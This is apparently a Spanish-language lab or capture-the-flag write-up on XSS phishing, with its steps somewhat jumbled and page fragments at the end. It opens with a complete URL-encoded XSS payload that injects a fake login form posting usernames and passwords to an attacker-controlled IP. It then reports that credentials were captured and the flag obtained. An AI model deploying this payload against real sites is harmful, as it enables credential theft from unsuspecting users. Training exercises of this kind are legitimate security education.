http://10.129.140.58/phishing/index.php?url=%27%3E%3Cscript%3Edocument.write%28%27%3Ch3+style%3D%22text-align%3A+center%3B%22%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.182%3A80%3E%3Cinput+style%3D%22width%3A+20%25%3B+padding%3A+5px+5px%3B+margin%3A+0px+auto%3B+box-sizing%3A+border_box%3B+display%3A+block%3B%22+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+style%3D%22width%3A+20%25%3B+padding%3A+5px+5px%3B+margin%3A+10px+auto%3B+box-sizing%3A+border_box%3B+display%3A+block%3B%22+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+style%3D%22width%3A+20%25%3B+padding%3A+5px+5px%3B+margin%3A+0px+auto%3B+box-sizing%3A+border_box%3B+display%3A+block%3B%22+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21--

Esta página actúa como un usuario que va a introducir sus datos en el link que le enviemos:

Funciona! Obtuvimos unas credenciales! Vamos a echarle un ojo:

Vamos a usarlas para acceder a la página /login.php:

Obtenemos la flag correctamente! 🏆

A continuación, debemos preparar nuestro código XSS y probarlo en el formulario vulnerable. Para escribir código HTML en la página vulnerable, podemos usar la función JavaScript document.write() y usarla en el payload XSS que encontramos anteriormente en el paso de . Una vez que minimizamos nuestro código HTML en una sola línea y lo agregamos dentro de la función write, el código JavaScript final debería ser el siguiente:

XSS Discovery
💣
💿
💿
Page cover image